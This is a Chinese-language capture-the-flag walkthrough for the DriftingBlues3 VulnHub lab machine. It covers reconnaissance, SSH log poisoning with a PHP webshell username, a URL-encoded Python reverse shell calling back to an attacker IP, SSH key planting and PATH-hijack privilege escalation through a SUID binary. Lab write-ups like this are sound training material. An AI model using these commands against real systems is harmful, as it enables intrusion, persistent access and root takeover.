driftingblues3 VulnHub Walkthrough
信息收集
主机发现
1 | arp-scan -l |
端口扫描
1 | nmap -sC -sV -p- 192.168.62.173 |
只开放了22和80端口,先访问80端口看看
好像没有什么信息,扫一下目录
1 | dirsearch -u http://192.168.62.173/ |
有点奇怪,逐个看了一下,好像都是没用的信息
再看看robots.txt,是唯一有用的路径
接着访问一下
emmm再接再厉,继续访问
好像是诗歌还是歌词,目前没有什么信息,查看一下源码
base64编码,到在线网站转换一下
哎,还要再转换一次
提示了一个php文件,去访问一下
漏洞发现
这个php文件是应该ssh登录日志,先随便尝试一下登录,看会不会有记录
可以看到两个登录用户名都已经记录了,那接下来就尝试通过日志写shell
漏洞利用&getshell
以php的webshell作为用户名来登录ssh
1 | ssh '$_GET["cmd"]); system('@192.168.62.173 |
看一下效果,看到已经可以执行命令了
反弹shell
先看一下有没有python环境
可以看到,靶机是有python3环境的,那就试试python来反弹shell
先开启一个监听端口来接收反弹的shell
访问一下
1 | http://192.168.62.173/adminsfixit.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.62.134%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27 |
在本机已经接收到了shell
SSH登录
进入到/home/robertj目录,发现.ssh是有写权限的,那我们就可以将我们的公钥写进去,实现免密登录
先在本地生成公私钥
1 | ssh-keygen |
进入本地ssh目录,查看一下id_rsa.pub
将id_rsa.pub的内容复制到authorized_keys
1 | cat id_rsa.pub >> authorized_keys |
然后上传到靶机的ssh目录,先在本机用python开启一个http服务
1 | python3 -m http.server 80 |
到靶机的ssh目录通过wget下载
1 | wget http://192.168.62.134/authorized_keys |
现在可以实现ssh免密登录了
先获取第一个flag
权限提升
先看一下具有suid的可执行文件
1 | find / -perm -u=s -type f 2>/dev/null |
看到有一个getinfo命令,先执行一下看看
看着应该是分别执行了ip a、cat /etc/hosts、uname -a命令
那么执行具有suid的getinfo时,将会执行ip、cat、uname,那我们就可以写一个模拟可执行文件
这里我在tmp目录新建一个文件ip,并赋予执行权限
1 | echo "/bin/bash" > /tmp/ip |
最后,添加一个环境变量/tmp,这样再执行一次具有suid的getinfo时,就会以root权限执行我们新建的/tmp/ip,我们就可以提权到root了
1 | export PATH=/tmp:$PATH |
现在可以获取第二个flag了